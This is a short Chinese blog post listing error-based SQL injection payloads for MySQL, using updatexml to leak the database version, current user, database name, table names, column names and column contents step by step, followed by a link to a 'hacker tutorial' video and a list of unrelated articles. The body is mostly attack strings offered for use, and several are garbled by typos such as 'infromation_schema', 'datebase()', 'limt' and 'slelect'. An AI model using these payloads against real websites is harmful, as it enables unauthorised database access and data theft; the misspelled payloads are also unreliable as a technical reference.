【SQL注入】报错注入--实战示例

1.爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

k这个字母是随便写的,写啥都行,ox7e是16进制,表示~,也可以直接写“~”

2.爆数据库当前用户信息

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3.爆数据库

k' and updatexml(1, concat(0x7e,(SELECT datebase()),0x7e),1)#

4.爆表

mysql5.1版本及以上版本,会存在一个叫infromation_schema的默认数据库,这个数据库里面记录着整个mysql管理的数据库的名称、表名、列名(字段名)

获取数据库表名 输入 

k' and updatexml(1,concat(0x7e,(select table_name from infromation _schema,tables where table_schema='数据库名字’)),0)#

若反馈错误表示只能显示一行,所以可以采用limit来一行一行显示,查看报错 

k' and updatexml(1,concat(0x7e,(select table_name from infromation _schema,tables where table_schema='数据库名字’  limt 0,1)),0)#

infromation_schema中的tables表存了各个数据库中有的表的表名

5.爆字段

infromation_schema中的columns存的是所有的库的所有表的列的字段名信息

 k' and updatexml(1, concat(0x7e,(select column_name from information schema.columns where table_name='表名' and table_schema='库名' limit 0,1),0x7e),0)#

6.爆字段内容

k' and updatexml(1,concate(0x7e,(slelect 字段名 from 表名 limit 0,1),0x7e),0)#

concat 只能一列一 输出

感谢师傅的优秀视频

【【网络安全】暗网黑客技术教程,只要你敢学我就敢教!零基础学习网络安全/黑客技术/SQL注入/漏洞挖掘/木马免杀/零基础/计算机基础】 https://www.bilibili.com/video/BV14u4m1M7iq/?share_source=copy_web&vd_source=361eef8cb78f11c9df72e7e3979e25a6

相关推荐

  1. SQL注入注入--实战示例

    2024-03-21 17:10:01       37 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-21 17:10:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-21 17:10:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-21 17:10:01       82 阅读
  4. Python语言-面向对象

    2024-03-21 17:10:01       91 阅读

热门阅读

  1. LeetCode 新的开始day1

    2024-03-21 17:10:01       48 阅读
  2. 2024(最新)前端面試題----歡迎補充

    2024-03-21 17:10:01       35 阅读
  3. 虚拟主机去除index.php目录地址

    2024-03-21 17:10:01       38 阅读
  4. Linux动态库*.so函数名修改

    2024-03-21 17:10:01       43 阅读
  5. Postgresql用户审核管理

    2024-03-21 17:10:01       42 阅读
  6. 外贸人学会承诺式逼单!老外就爱这套!

    2024-03-21 17:10:01       40 阅读
  7. react native ts 接口返回列表渲染

    2024-03-21 17:10:01       45 阅读
  8. 在OAK-D S2相机上应用ORB_SLAM3

    2024-03-21 17:10:01       47 阅读
  9. 【教你如何制作一个简单的HTML个人网页】

    2024-03-21 17:10:01       43 阅读
  10. C#的自我修养

    2024-03-21 17:10:01       37 阅读
  11. Element-Plus Dropdown 下拉菜单样式修改

    2024-03-21 17:10:01       39 阅读
  12. Python 闭包

    2024-03-21 17:10:01       44 阅读